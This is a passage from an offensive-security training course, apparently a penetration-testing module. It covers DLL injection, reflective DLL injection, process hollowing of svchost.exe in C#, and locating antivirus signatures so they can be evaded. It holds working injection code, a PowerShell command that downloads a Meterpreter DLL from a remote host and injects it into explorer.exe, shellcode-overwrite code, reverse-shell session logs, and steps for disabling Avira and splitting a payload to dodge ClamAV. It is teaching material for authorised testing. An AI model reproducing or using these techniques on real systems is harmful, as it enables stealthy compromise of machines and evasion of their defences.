            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
        }
    }
}

Listing 24 - Creating a remote thread with argument

When we compile and execute the completed code, it fetches the
Meterpreter DLL from the web server and gives us a reverse shell:

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 25 - Getting a reverse shell

We can display all the loaded DLLs in the processes with Process Explorer.
We'll select the explorer.exe process, navigate to View >
Lower Pane View and select DLLs. Scrolling down, we find
met.dll as expected (Figure 4).

Figure 4: Meterpreter DLL loaded in explorer.exe

By reusing the techniques from process injection, we are able to load
an unmanaged DLL into a remote process. Unfortunately, this technique
does write the DLL to disk. In the next section, we'll tackle this
issue.

Exercise

  1. Recreate the DLL injection technique and inject a Meterpreter DLL
    into explorer.exe from a Jscript file using DotNetToJscript.

Reflective DLL Injection

Loading a DLL into a remote process is powerful, but writing the DLL
to disk is a significant compromise. To improve our tradecraft, let's
explore a technique known as reflective DLL injection.[252]

Reflective DLL Injection Theory

LoadLibrary performs a series of actions including loading DLL
files from disk and setting the correct memory permissions. It also
registers the DLL so it becomes usable from APIs like GetProcAddress
and is visible to tools like Process Explorer.

Since we do not need to rely on GetProcAddress and want to avoid
detection, we are only interested in the memory mapping of the DLL.
Reflective DLL injection parses the relevant fields of the DLL's
Portable Executable[253] (PE) file format and maps the contents into
memory.

In order to implement reflective DLL injection, we could write custom
code to essentially recreate and improve upon the functionality of
LoadLibrary. Since the inner workings of the code and the details
of the PE file format are beyond the scope of this module, we will
instead reuse existing code to execute these techniques.

The ultimate goal of this technique is to maintain the essential
functionality of LoadLibrary while avoiding the write to disk and
avoiding detection by tools such as Process Explorer.

Reflective DLL Injection in PowerShell

We'll reuse the PowerShell reflective DLL injection code
(Invoke-ReflectivePEInjection[254]) developed by the
security researchers Joe Bialek and Matt Graeber.

The script performs reflection to avoid writing assemblies to disk,
after which it parses the desired PE file. It has two separate modes,
the first is to reflectively load a DLL or EXE into the same process,
and the second is to load a DLL into a remote process.

Since the complete code is almost 3000 lines, we are not going to
cover the code itself but rather its usage. We must specify a DLL or
EXE as an array of bytes in memory, which allows us to download and
execute it without touching the disk.

For this exercise, we will use the same Meterpreter DLL that
we created earlier. To reflectively load a Meterpreter DLL in
explorer.exe, we are going to download it using the PowerShell
DownloadData method, place it in a byte array, and look up the
desired process ID.

In order to execute the required commands, we must open a PowerShell
window with "PowerShell -Exec Bypass", which allows script execution.
Once the window is open, we'll run the commands shown in Listing
26, which will load the DLL into a byte array and
retrieve the explorer process ID.

$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll')
$procid = (Get-Process -Name explorer).Id

Listing 26 - Downloading DLL and finding
Explorer.exe process ID

To use Invoke-ReflectivePEInjection, we must first import it from
its location in C:\Tools with Import-Module:

Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1

Listing 27 - Importing Invoke-ReflectivePEInjection

Next, we'll supply the byte array (-PEBytes) and process ID
(-ProcId) and execute the script.

Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

Listing 28 - Executing Invoke-ReflectivePEInjection

This loads the DLL in memory and provides us with a reverse
Meterpreter shell:

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 29 - Getting a reverse shell

This script produces an error as shown in Listing
30. This does not affect the functionality of the
script and can be ignored.

VoidFunc couldn't be found in the DLL
At C:\Tools\Invoke-ReflectivePEInjection.ps1:2823 char:5
+                 Throw "VoidFunc couldn't be found in the DLL"
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (VoidFunc couldn't be found in the DLL:String) [], RuntimeException
    + FullyQualifiedErrorId : VoidFunc couldn't be found in the DLL

Listing 30 - Error when executing
Invoke-ReflectivePEInjection

Note that the public version of this script fails on versions
of Windows 10 1803 or newer due to the multiple instances of
GetProcAddress in UnsafeNativeMethods. Luckily, we have already
solved this issue previously and the version of the script located
on the Windows 10 development machine has been updated to avoid
this.

Notice that met.dll is not shown in the loaded DLL listing of
Process Explorer. Excellent!

Note that we could also inject DLLs reflectively from C#, but
there are no public C# proof-of-concepts that perform remote process
injection. However, PELoader[255] by @subtee demonstrates
local process injection.

Exercises

  1. Use Invoke-ReflectivePEInjection to launch a Meterpreter
    DLL into a remote process and obtain a reverse shell. Note that
    Invoke-ReflectivePEInjection.ps1 is in the C:\Tools
    folder on the Windows 10 development VM.
  2. Copy Invoke-ReflectivePEInjection to your Kali Apache web server
    and create a small PowerShell download script that downloads and
    executes it directly from memory.

Process Hollowing

So far, we have successfully injected code into processes such as
explorer.exe or notepad.exe. Even though our activity is somewhat
masked by familiar process names, we could still be detected since
we are generating network activity from processes that generally do
not generate it. In this section, we'll migrate to svchost.exe, which
normally generates network activity.

The problem is that all svchost.exe processes run by default at
SYSTEM integrity level, meaning we cannot inject into them from a
lower integrity level. Additionally, if we were to launch svchost.exe
(instead of Notepad) and attempt to inject into it, the process will
immediately terminate.

To address this, we will launch a svchost.exe process and modify
it before it actually starts executing. This is known as Process
Hollowing
[256] and should execute our payload without
terminating it.

Process Hollowing Theory

There are a few steps we must perform and components to consider, but
the most important is the use of the CREATE_SUSPENDED[257] flag
during process creation. This flag allows us to create a new suspended
(or halted) process.

When a process is created through the CreateProcess[258] API, the
operating system does three things:

  1. Creates the virtual memory space for the new process.
  2. Allocates the stack along with the Thread Environment Block
    (TEB)[259] and the Process Environment Block (PEB).[260]
  3. Loads the required DLLs and the EXE into memory.

Once all of these tasks have been completed, the operating system
will create a thread to execute the code, which will start at the
EntryPoint of the executable. If we supply the CREATE_SUSPENDED
flag when calling CreateProcess, the execution of the thread is
halted just before it runs the EXE's first instruction.

At this point, we would locate the EntryPoint of the executable and
overwrite its in-memory content with our staged shellcode and let it
continue to execute.

Locating the EntryPoint is a bit tricky due to ASLR[261] but once
the new suspended process is created, we can turn to the Win32
ZwQueryInformationProcess[262] API to retrieve certain information
about the target process, including its PEB address. From the PEB we
can obtain the base address of the process which we can use to parse
the PE headers and locate the EntryPoint.

Specifically, when calling ZwQueryInformationProcess, we must supply
an enum from the ProcessInformationClass class. If we choose the
ProcessBasicInformation class, we can obtain the address of the
PEB in the suspended process. We can find the base address of the
executable at offset 0x10 bytes into the PEB.

Next, we need to read the EXE base address. While
ZwQueryInformationProcess yields the address of the PEB, we
must read from it, which we cannot do directly because it's
in a remote process. To read from a remote process, we'll use
the ReadProcessMemory[263] API, which is a counterpart to
WriteProcessMemory. This allows us to read out the contents of the
remote PEB at offset 0x10.

From here, it gets a bit complicated and we need to do a little math,
but we begin with the base address that we already found. Then we'll
once again use ReadProcessMemory to read the first 0x200 bytes of
memory. This will allow us to analyze the remote process PE header.

The relevant items are shown in the PE file format header shown below
in Table 1.

Offset 0x00 0x04 0x08 0x0C
0x00 0x5A4D (MZ)
0x10
0x20
0x30 Offset to PE signature
0x40
0x50
0x60
0x70
0x80 0x4550 (PE)
0x90
0xA0 AddressOfEntryPoint
0xB0
0xC0

Table 1 - PE file format header

All PE files must follow this format, which enables us to predict
where to read from. First, we read the e_lfanew field at offset
0x3C, which contains the offset from the beginning of the PE (image
base) to the PE Header. This offset is given as 0x80 bytes in Table
1 but can vary from file to file. The PE signature
found in the PE file format header (above) identifies the beginning of
the PE header.

Once we have obtained the offset to the PE header, we can read the
EntryPoint Relative Virtual Address (RVA) located at offset 0x28 from
the PE header. As the name suggests, the RVA is just an offset and
needs to be added to the remote process base address to obtain the
absolute virtual memory address of the EntryPoint. Finally, we have
the desired start address for our shellcode.

As a fictitious example, imagine we locate the PEB at address
0x3004000. We then use ReadProcessMemory to read the executable base
address at 0x3004010 and obtain the value 0x7ffff01000000.

We use ReadProcessMemory to read out the first 0x200 bytes
of the executable and then locally inspect the value at address
0x7ffff0100003C to find the offset to the PE header. In our
example, that value will be 0x110 bytes, meaning the PE header is
at 0x7ffff01000110.

Now we can locate the RVA of the entry point from address
0x7ffff01000138 and add that to the base address of 0x7ffff01000000.
The result of that calculation is the virtual address of the entry
point inside the remote process.

Once we have located the EntryPoint of the remote process, we can
use WriteProcessMemory to overwrite the original content with our
shellcode. We can then let the execution of the thread inside the
remote process continue.

The details of this attack may seem daunting but it provides us a way
to hide in any process we can create, thus masking our presence.

Process Hollowing in C#

Now that the process hollowing theory is out of the way, let's
implement it in C#. The very first step is to create a suspended
process. We have to use the Win32 CreateProcessW API because
Process.Start[264] and similar do not allow us to create a
suspended process.

We'll create a new Console App project in Visual Studio,
and name it "Hollow". We'll then find the DllImport for
CreateProcessW from www.pinvoke.net as shown in Listing
31, and add it to our project.

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, 
    IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, 
        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, 
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

Listing 31 - DllImport statement for
CreateProcess

To import CreateProcessW, we must also include the
System.Threading namespace. Some of the argument types are unknown
to C#, so we'll later define them manually.

Let's examine the function prototype[265]
to understand what arguments it accepts (Listing
32).

BOOL CreateProcessW(
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Listing 32 - CreateProcessW function prototype

CreateProcessW accepts a very daunting ten parameters but we will
only leverage a few of them. The first parameter includes the name
of the application to be executed and the full command line to be
executed. Typically, we'll set lpApplicationName to "null" and
lpCommandLine to the full path of svchost.exe.

For lpProcessAttributes and lpThreadAttributes, we'll need to
specify a security descriptor but we can submit "null" to obtain
the default descriptor. Next, we must specify if any handles in our
current process should be inherited by the new process, but since we
do not care, we can specify "false".

The dwCreationFlags argument is used to indicate our intention to
launch the new process in a suspended state. We will set this to the
numerical representation of CREATE_SUSPENDED, which is 0x4. The
next two parameters specify the environment variable settings to be
used and the current directory for the new application. We will simply
set these to "null".

Next, we must pass a STARTUPINFO[266] structure, which can contain
a number of values related to how the window of a new process should
be configured. We'll find this on www.pinvoke.net (Listing
33) and add the structure to the source
code just prior to the DllImport statements.

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
    public Int32 cb;
    public IntPtr lpReserved;
    public IntPtr lpDesktop;
    public IntPtr lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}

Listing 33 - STARTUPINFO structure using P/Invoke

The final argument is a PROCESS_INFORMATION[267] structure that is
populated by CreateProcessW with identification information about
the new process, including the process ID and a handle to the process.
The P/Invoke definition of PROCESS_INFORMATION is shown in Listing
34.

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
}

Listing 34 - PROCESS_INFORMATION structure using
P/Invoke

With all of the arguments understood and the required structures
defined, we can invoke the call by first instantiating a STARTUPINFO
and a PROCESS_INFORMATION object and then supply them to
CreateProcessW.

STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, 
    IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);

Listing 35 - Calling CreateProcess to create a
suspended process

Next, we need to locate the EntryPoint by first disclosing
the PEB through ZwQueryInformationProcess. We'll again use
P/Invoke to define the DllImport statement as shown in Listing
36.

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, 
    int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, 
        uint ProcInfoLen, ref uint retlen);

Listing 36 - DllImport statement for
ZwQueryInformationProcess

The ZwQueryInformationProcess API has many uses, and although most
are not officially documented by Microsoft, an example that fetches
the PEB[268] is documented. The function prototype is shown in
Listing 37.

NTSTATUS WINAPI ZwQueryInformationProcess(
  _In_      HANDLE           ProcessHandle,
  _In_      PROCESSINFOCLASS ProcessInformationClass,
  _Out_     PVOID            ProcessInformation,
  _In_      ULONG            ProcessInformationLength,
  _Out_opt_ PULONG           ReturnLength
);

Listing 37 - ZwQueryInformationProcess
function prototype

Let's inspect this prototype a bit more closely. First, notice the
function's prefix ("Nt" or "Zw")[269] indicates that the API
can be called by either a user-mode program or by a kernel driver
respectively. For our purposes, we do not have to worry about this as
calling the function with either prefix will yield the same results in
user-space.

The second item of note is that the return value is given as
NTSTATUS. ZwQueryInformationProcess is a low-level API located in
ntdll.dll and returns a hexadecimal value directly from the
kernel.

Most of the arguments are relatively simple. The first
(ProcessHandle) is a process handle that we can obtain from the
PROCESS_INFORMATION structure. The API can perform many actions
depending on the second argument (ProcessInformationClass), which
is only partially documented. For our purposes, we will set this to
ProcessBasicInformation with a numerical representation of "0".

When we specify ProcessBasicInformation, the third argument
(ProcessInformation) must be a PROCESS_BASIC_INFORMATION
structure that is populated by the API. This structure may be found on
www.pinvoke.net as shown in Listing 38.

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
    public IntPtr Reserved1;
    public IntPtr PebAddress;
    public IntPtr Reserved2;
    public IntPtr Reserved3;
    public IntPtr UniquePid;
    public IntPtr MoreReserved;
}

Listing 38 - PROCESS_BASIC_INFORMATION
structure

The remaining two arguments (ProcessInformationLength and
ReturnLength) indicate the size of the input structure (six
IntPtr) and a variable to hold the size of the fetched data,
respectively.

We can now call ZwQueryInformationProcess and fetch the address of
the PEB from the PROCESS_BASIC_INFORMATION structure:

PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);

Listing 39 - Calling ZwQueryInformationProcess
to fetch PEB address

The ptrToImageBase variable now contains a pointer to the image base
of svchost.exe in the suspended process. We will next use
ReadProcessMemory to fetch the address of the code base by reading
eight bytes of memory.

ReadProcessMemory has a function prototype[270]
very similar to WriteProcessMemory as shown in Listing
40:

BOOL ReadProcessMemory(
  HANDLE  hProcess,
  LPCVOID lpBaseAddress,
  LPVOID  lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesRead
);

Listing 40 - ReadProcessMemory function
prototype

We must supply five parameters for this function. They are a process
handle (hProcess), the address to read from (lpBaseAddress), a
buffer to copy the content into (lpBuffer), the number of bytes to
read (nSize), and a variable to contain the number of bytes actually
read (lpNumberOfBytesRead).

The DllImport statement for ReadProcessMemory is also very
similar to that of WriteProcessMemory as ahown in Listing
41.

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

Listing 41 - ReadProcessMemory DllImport
statement

Following the DllImport, we can call ReadProcessMemory by specifying
an 8-byte buffer that is then converted to a 64bit integer through
the BitConverter.ToInt64[271] method and then casted to a
pointer using (IntPtr).

It is worth noting that a memory address takes up eight bytes in
a 64-bit process, while it only uses four bytes in a 32-bit process,
so the use of variable types, offsets, and amount of data read must be
adapted.

byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

Listing 42 - ReadProcessMemory invocation

The following step is to parse the PE header to locate the EntryPoint.
This is performed by calling ReadProcessMemory again with a buffer
size of 0x200 bytes (Listing 43).

byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);

Listing 43 - Using ReadProcessMemory to fetch
the PE header

To parse the PE header, we must read the content at offset 0x3C and
use that as a second offset when added to 0x28 as previously discussed
and illustrated in Figure 5.

Figure 5: PE header parsing illustration

To implement this, we convert four bytes at offset 0x3C (e_lfanew
field) to an unsigned integer.[272] As stated previously, this is
the offset from the image base to the PE header structure.

Next, we convert the four bytes at offset e_lfanew plus 0x28 into
an unsigned integer. This value is the offset from the image base
to the EntryPoint.

uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);

uint opthdr = e_lfanew_offset + 0x28;

uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);

IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

Listing 44 - Parsing the PE header to locate the
EntryPoint

The offset from the base address of svchost.exe to the EntryPoint is
also called the relative virtual address (RVA). We must add it to the
image base to obtain the full memory address of the EntryPoint. This
is done on the last line of Listing 44.

We have obtained the address of the EntryPoint so we can generate our
Meterpreter shellcode and use WriteProcessMemory to overwrite the
existing code as shown in Listing 45. Remember that
we must add a DllImport statement for WriteProcessMemory before using
it.

byte[] buf = new byte[659] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8...

WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);

Listing 45 - Overwriting the EntryPoint of
svchost.exe with shellcode

Now that everything is set up correctly, we'll start the execution
of our shellcode. In the previous techniques, we have called
CreateRemoteThread to spin up a new thread but in this case, a
thread already exists and is waiting to execute our shellcode.

We can use the Win32 ResumeThread[273] API to let the suspended
thread of a remote process continue its execution. ResumeThread is
an easy API to call since it only requires the handle of the thread
to resume as shown in its function prototype[274] in
Listing 46.

DWORD ResumeThread(
  HANDLE hThread
);

Listing 46 - ResumeThread function prototype

When CreateProcessW started svchost.exe and populated the
PROCESS_INFORMATION structure, it also copied the handle of the
main thread into it. We can then import ResumeThread and call it
directly.

[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
...

ResumeThread(pi.hThread);

Listing 47 - Importing and calling ResumeThread

We now have all the pieces to create a suspended process, hollow out
its original code, replace it with our shellcode, and subsequently
execute it.

Once we have combined all the code, we must remember to specify a
64-bit architecture (since svchost.exe is a 64-bit process) and change
it from "debug" to "release" before compiling.

When we execute it, the compiled code results in a reverse Meterpreter
shell executing inside a svchost.exe process, possibly evading
suspicion since it is a trusted process that also engages in network
communications. Excellent!

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 48 - Getting a reverse shell

While the code and technique here only writes shellcode
into the suspended process, we could also use this technique to
hollow[275] an entire compiled EXE.

Exercises

  1. Replicate the process hollowing technique using shellcode from C#.
  2. Modify the code to generate a Jscript file using DotNetToJscript
    that performs process hollowing.

Wrapping Up

In this module, we demonstrated several process injection and
migration techniques. We explored a typical C# injection into a local
process, as well as DLL injection into a remote process. We also
explored reflective DLL injection that did not write to disk and used
process hollowing to inject our code into a process that is known
to generate network activity. Each of these techniques reduced our
footprint on the remote system and minimized our chances of detection
by security software.

In the next module, we will introduce detection software into our
scenario and improve our tradecraft to evade it.

Introduction to Antivirus Evasion

Most organizations run managed security and antivirus software to
monitor and defend against attacks and malware.

In this module, we will describe how antivirus detection works and
demonstrate how it can be bypassed.

Antivirus Software Overview

Antivirus software has evolved significantly in the last 20 years.
Early implementations of this software relied on crude and ineffective
detection mechanisms but in order to meet the challenges presented by
modern malware, most tools now boast advanced capabilities.

At a basic level, most antivirus software runs on an endpoint machine.
Local users can interact with the software to run "on-demand" scans
against files on the machine. Additionally, most products offer
"real-time scanning", in which the software monitors file operations
and scans a file when it is downloaded or an attempt is made to
execute it. In either case, if a malicious file is detected, it is
either deleted or quarantined.

Most detection is signature-based. Antivirus vendors use automated
processes and manual reverse-engineering efforts to create these
signatures, which are stored in massive databases. While signature
algorithms are often close-held secrets, most rely on MD5 or SHA-1
hashes of malicious files or on unique byte sequences discovered in
known malicious files. If a scanned file matches a known hash, or
contains a malicious byte sequence, it is flagged as malicious.

In addition to signature scanning, some software performs heuristics
or behavioral analysis that simulates execution of a scanned
file. Most implementations execute the scanned file in a sandboxed
environment, attempting to detect known malicious behavior. This
approach relies on extremely sophisticated, proprietary code and
is significantly more time-consuming and resource-intensive than
signature-based detection methods. The success rate of this approach
varies widely from vendor to vendor.

A new heuristic detection approach leverages cloud computing along
with artificial intelligence to improve the speed and accuracy of
detection. However, this approach is more costly and is not nearly
as widely-implemented as signature-based and heuristic-based endpoint
solutions.

In this module, we'll primarily target the free-to-use ClamAV and
Avira antivirus products. Although these products do not offer
top-tier detection rates, they do employ signature and heuristic
detection. We will also use online resources to verify our bypass
techniques against other antivirus products.

In the following sections, we will demonstrate methods we can use
to attempt to bypass signature-based and heuristic-based endpoint
solutions.

Simulating the Target Environment

When preparing for an engagement, we ideally want to mirror the target
system in our local environment to verify the effectiveness of our
tools.

However, even if we could predict the target environment, recreating
it could be costly as we would have to purchase a variety of software
licenses. Instead, we could test our payloads against multiple
antivirus engines at once with various online services. The most
popular service is VirusTotal,[276] which scans against more than
fifty antivirus engines. Unfortunately, VirusTotal distributes its
findings to all associated antivirus vendors, which may divulge our
tools and techniques before we deploy them.

Alternatively, we could use AntiScan.Me,[277] which provides a
similar virus scanning service without distributing the results.
However, this tool only scans against twenty-six antivirus engines and
only generates three free scans before requiring a reasonable per-scan
paid registration.

In some of the examples in this module, we will provide scan
results from AntiScan.Me, but feel free to register an account to
verify these results.

With our use cases in mind, let's move onwards to the first antivirus
bypassing hurdle.

Locating Signatures in Files

To begin, let's discuss the process of bypassing antivirus signature
detection.


For this exercise, we must disable the heuristics-based scanning
portion of the antivirus engine. In this section, we are going to rely
on ClamAV, which is preinstalled on the Windows 10 victim machine and
has its heuristics engine disabled.

Early signature-based detection methods compared file hashes, which
meant that detection could be evaded by changing a single byte in the
scanned file. Obviously this is a trivial exercise.

Signatures based on byte strings inside the binary are more tricky
to bypass as we must determine the exact bytes that are triggering
detection. There are two primary approaches to this. The most
complicated approach is to reverse-engineering the antivirus scanning
engine and signature database to discover the actual signatures.
This approach would require a significant amount of work and is
product-dependent.

A second, much simpler approach, is to split the binary into
multiple pieces and perform an on-demand scan of sequentially smaller
pieces until the exact bytes are found. This method was originally
implemented in a popular tool called Dsplit.[278]

Since the original DSplit tool is no longer available, we will
instead rely on the Find-AVSignature[279] PowerShell script for
this task.

Before starting our analysis, we'll launch the Avira Free Antivirus
GUI and open the Antivirus pane. In the new window, we'll click
Real-Time Protection and switch it "off" as shown in Figure

Figure 1: Turning off Avira Real-time scanning

For this example, we'll generate a 32-bit Meterpreter executable and
copy it to the C:\Tools folder on our Windows 10 victim
machine. This will serve as our malicious binary.

Next, we'll open a PowerShell prompt with the -Exec bypass
argument, navigate to the C:\Tools directory, and import the
Find-AVSignature script as follows:

PS C:\Users\Offsec> cd C:\Tools

PS C:\Tools> Import-Module .\Find-AVSignature.ps1

Listing 1 - Importing Find-AVSignature PowerShell
script

The script accepts several arguments. First, we'll specify the start
and end bytes with -StartByte and -EndByte
respectively. In our first run, we'll specify a starting byte of "0"
and an ending byte of "max" to scan the entire executable.

We'll use the -Interval parameter to specify the size of
each individual segment of the file we will split. This value will
depend on the size of the executable, but since the 32-bit Meterpreter
executable is roughly 73 KB, we'll set each segment to 10000 bytes.

Next, we'll specify the input file (-Path) and the output
folder (-OutPath). We'll also pass the -Verbose and
-Force flags to gain additional console output and force
creation of the specified output directory, respectively.

PS C:\Tools> Find-AVSignature -StartByte 0 -EndByte max -Interval 10000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest1 -Verbose -Force

    Directory: C:\Tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/17/2019   3:40 AM                avtest1
VERBOSE: This script will now write 8 binaries to "C:\Tools\avtest1".
VERBOSE: Byte 0 -> 0
VERBOSE: Byte 0 -> 10000
VERBOSE: Byte 0 -> 20000
VERBOSE: Byte 0 -> 30000
VERBOSE: Byte 0 -> 40000
VERBOSE: Byte 0 -> 50000
VERBOSE: Byte 0 -> 60000
VERBOSE: Byte 0 -> 70000
VERBOSE: Byte 0 -> 73801
VERBOSE: Files written to disk. Flushing memory.
VERBOSE: Completed!

Listing 2 - Using Find-AVSignature to
split file into intervals

Pay close attention to this output. Note that the first binary
contains zero bytes. The second binary contains 10000 bytes. This
means that the second file contains bytes 0-10000 of our Meterpreter
binary.

Now that we have split our Meterpreter executable into segments and
saved them to C:\Tools\avtest1, we can scan them with
ClamAV. This must be done from the command line, so we'll open a new
administrative PowerShell prompt and navigate to the C:\Program
Files\ClamAV folder.

From here, we'll launch the clamscan.exe
executable, running the scan against the segments in the
C:\Tools\avtest1 folder as shown in Listing
3.

PS C:\Windows\system32> cd 'C:\Program Files\ClamAV\'

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest1
C:\Tools\avtest1\met_0.bin: OK
C:\Tools\avtest1\met_10000.bin: OK
C:\Tools\avtest1\met_20000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest1\met_30000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest1\met_40000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest1\met_50000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest1\met_60000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest1\met_70000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest1\met_73801.bin: Win.Trojan.MSShellcode-7 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 6494159
Engine version: 0.101.4
Scanned directories: 1
Scanned files: 9
Infected files: 7
Data scanned: 0.32 MB
Data read: 0.32 MB (ratio 1.00:1)
Time: 107.399 sec (1 m 47 s)

Listing 3 - Scanning with ClamAV

The first file passes detection. This is no surprise, since it is
empty. The second file, which contains the first 10000 bytes of our
binary, is clean as well. This means that the first signature was
detected in the third file, somewhere between offset 10000 and 20000.

Note that offsets and number of detections found may vary for
each generation of a Meterpreter executable.

To investigate further, we'll run Find-AVSignature again to
split the Meterpreter executable with 1000 byte intervals, but only
from offset 10000 to 20000. We'll change the output directory to
C:\Tools\avtest2 in order to separate the output from our
various iterations as shown in Listing 4.

PS C:\Tools> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest2 -Verbose -Force

Listing 4 - Splitting into 1000 byte intervals

Next, we'll scan these segments:

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest2
C:\Tools\avtest2\met_10000.bin: OK
C:\Tools\avtest2\met_11000.bin: OK
C:\Tools\avtest2\met_12000.bin: OK
C:\Tools\avtest2\met_13000.bin: OK
C:\Tools\avtest2\met_14000.bin: OK
C:\Tools\avtest2\met_15000.bin: OK
C:\Tools\avtest2\met_16000.bin: OK
C:\Tools\avtest2\met_17000.bin: OK
C:\Tools\avtest2\met_18000.bin: OK
C:\Tools\avtest2\met_19000.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest2\met_20000.bin: Win.Trojan.MSShellcode-7 FOUND
...

Listing 5 - Scanning smaller intervals
with ClamAV

These results indicate that the offending bytes are between
offsets 18000 and 19000. Let's narrow this further by lowering
the interval to 100 bytes and saving to a new directory (Listing
6).

PS C:\Tools> Find-AVSignature -StartByte 18000 -EndByte 19000 -Interval 100 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest3 -Verbose -Force

Listing 6 - Reducing the interval to 100 bytes

We'll scan these segments:

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest3
C:\Tools\avtest3\met_18000.bin: OK
C:\Tools\avtest3\met_18100.bin: OK
C:\Tools\avtest3\met_18200.bin: OK
C:\Tools\avtest3\met_18300.bin: OK
C:\Tools\avtest3\met_18400.bin: OK
C:\Tools\avtest3\met_18500.bin: OK
C:\Tools\avtest3\met_18600.bin: OK
C:\Tools\avtest3\met_18700.bin: OK
C:\Tools\avtest3\met_18800.bin: OK
C:\Tools\avtest3\met_18900.bin: Win.Trojan.Swrort-5710536-0 FOUND
